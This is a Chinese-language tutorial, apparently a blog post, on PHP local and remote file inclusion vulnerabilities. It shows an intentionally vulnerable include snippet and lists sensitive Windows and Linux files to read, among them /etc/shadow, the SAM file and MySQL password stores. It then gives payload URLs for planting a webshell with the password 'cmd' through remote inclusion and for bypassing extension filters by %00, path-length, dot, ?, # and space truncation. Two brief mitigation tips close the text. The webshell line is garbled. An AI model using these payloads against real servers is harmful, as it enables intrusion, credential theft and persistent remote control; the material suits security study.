程序开发人员通常会把常用的可复性使用的函数写到一个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。
(通俗的来说就是把文件放在一个文件夹下面然后使用的时候就可以直接调用)
文件包含漏洞的原因?
随着网站业务的需求,程序开发人员一般希望代码更加灵活,所以将包含文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含文件时,用户对这个变量可控而且服务端也没有做合理的校验或者校验被绕过就照成了文件包含漏洞
php中常见的文件的函数
include()
当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行
include_once()
功能与include()相同,区别在于重复调用同一文件时,程序只调用一次
require()
require()和include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本执行
require()_once()
功能与require()相同,区别在于当重复性调用同一文件时,程序只执行一次
几乎所有脚本语言中都提供文件包含的功能,但文件包含漏洞在PHP中居多,而在asp jsp asp.net程序中非常少,甚至没有文件包含漏洞存在。这与程序员水平没有关系而问题在于语言设计的弊端
仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。
代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
GET[‘filename’]参数没有经过严格的过滤,直接带入了include()函数,攻击者可以修改$_GET[‘filename’]的值,加载其他文件,执行非预期的操作,由此造成了文件包含漏洞;
http://127.0.0.1/file?filename=phpinfo.php如果我们通过信息收集找到路径就可以构造payload访问敏感信息我们
payload:http://127.0.0.1/file?filename=C:\phpStudy\MySQL\my.ini
Windows
c:\boot.ini // 查看系统版本
c:\XX\httpd.conf Apache配置信息
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix
/etc/passwd 账户信息
/etc/shadow 账户密码文件
/etc/httpd/conf/httpd.conf Apache配置文件
/etc/my.conf mysql 配置文件
/usr/local/app/apache2/conf/httpd.conf Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf 虚拟网站配置
/usr/local/app/php5/lib/php.ini PHP相关配置
远程文件包含漏洞
能够通过url地址对远程的文件进行包含,这意味着攻击者可以传入任意的代码,这种情况没啥好说的,准备挂彩。
因此,在web应用系统的功能设计上尽量不要让前端用户直接传变量给包含函数,如果非要这么做,也一定要做严格的白名单策略进行过滤。
代码:
<?php
$filename = $_GET['filename'];
include($filename);
?>
创建一句话木马payload,将代码保存到一个txt文件里面
')?> 创建一个文件夹sell.php 密码是cmd
配置payload:http://192.168.16.41/file.php?filename=http://127.0.0.1/1.txt
查看文件下面多了一个shell.php
打开菜刀连接密码cmd
成功拿到shell
讲到远程文件包含就不得不讲php伪协议
PHP带了很多内置URL风格的封装协议,可用于fopen、copy、file_exists和filesize等文件系统函数。除了这些内置封装协议,还能通过stream_wrapper_register注册自定义的封装协议。这些协议都被称为伪协议。
File:// ——访问本地文件系统
http:// ——访问HTTP(s)网址
ftp:// ——访问FTP(s)URLs
php:// 访问各个输入/输出流(I/o streams)
zlib:// 压缩流
data:// 读取数据(RFC2397)
glob:// 查找匹配的文件路径模式
phar:// PHP归档
ssh2:// Secure Sheel2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流
远程文件包含漏洞配合远程文件包含漏洞可以触发想不到的惊喜
详细使用参考:https://www.cnblogs.com/xhds/p/12216170.html
本地文件包含漏洞绕过
1.%00截断让后面的直接截取掉
payload: http://127.0.0.1/file?filename=phpinfo.php%00
2.路径长度截断文件包含
操作系统存在最大路径长度的限制。可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断
漏洞利用条件
Windows下目录的最大路径256B
Linux下目录的最大路径长度为4096B
payload:http://127.0.0.1/file?filename=phpinfo.php/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
3.点号阶段文件包含
点号截断适用于Windows系统,当点号的长度大于256B时,就可以造成扩展名截断。
payload:http://127.0.0.1/file?filename=phpinfo.php…
成功使用.号截断后面的.html扩展名,包含了我们想要的文件。
有限制远程文件包含是指当代吗中存在特定的前缀或者.php、.html等扩展名过滤时,攻击者仅需要绕过前缀或者扩展名过滤,才能执行远程URL中恶意代码。
漏洞代码:
**?问号绕过**
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt?
**#号绕过**
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%23(#号要编码)
**空格绕过**
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%20(%20是空格的url编码)
1.建议白名单
2.指定访问一定的路径,再将参数拼接到路径当中